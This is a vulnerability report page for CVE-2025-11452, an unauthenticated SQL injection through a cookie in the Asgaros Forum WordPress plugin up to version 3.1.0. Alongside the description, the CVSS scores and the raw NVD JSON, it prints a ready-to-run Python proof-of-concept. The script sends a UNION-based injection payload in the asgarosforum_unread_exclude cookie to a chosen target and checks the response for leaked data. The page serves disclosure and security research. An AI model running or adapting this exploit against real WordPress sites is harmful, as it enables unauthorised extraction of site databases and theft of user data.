Security Vulnerability Report
中文
CVE-2025-11452 CVSS 7.5 HIGH

CVE-2025-11452

Published: 2025-11-08 03:15:36
Last Modified: 2026-04-15 00:35:42

Description

The Asgaros Forum plugin for WordPress is vulnerable to SQL Injection via the '$_COOKIE['asgarosforum_unread_exclude']' cookie in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Asgaros Forum WordPress插件 <= 3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_sql_injection(target_url): """ CVE-2025-11452 SQL Injection PoC Target: Asgaros Forum WordPress Plugin (<= 3.1.0) Attack Vector: Cookie-based SQL Injection via asgarosforum_unread_exclude parameter """ # Malicious cookie payload to extract database version # Using UNION-based SQL injection technique sql_payload = "1' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL---" cookies = { 'asgarosforum_unread_exclude': sql_payload } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } print(f"[*] Target: {target_url}") print(f"[*] Payload: {sql_payload}") try: response = requests.get(target_url, cookies=cookies, headers=headers, timeout=10) print(f"[+] Request sent to {target_url}") print(f"[*] Status Code: {response.status_code}") # Check for SQL error indicators in response if 'SQL' in response.text or 'mysql' in response.text.lower() or 'error' in response.text.lower(): print("[!] Potential SQL injection detected - check response for data leakage") return response except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = 'http://target-wordpress-site.com/wp-admin/admin.php' exploit_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11452", "sourceIdentifier": "[email protected]", "published": "2025-11-08T03:15:36.117", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Asgaros Forum plugin for WordPress is vulnerable to SQL Injection via the '$_COOKIE['asgarosforum_unread_exclude']' cookie in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/Asgaros/asgaros-forum/commit/41e499f26cb534c55587c35496e6f9056753b942", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3388337%40asgaros-forum&new=3388337%40asgaros-forum&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/75d66a45-5bb9-4e82-acd5-e0b92e3870a9?source=cve", "source": "[email protected]"}]}}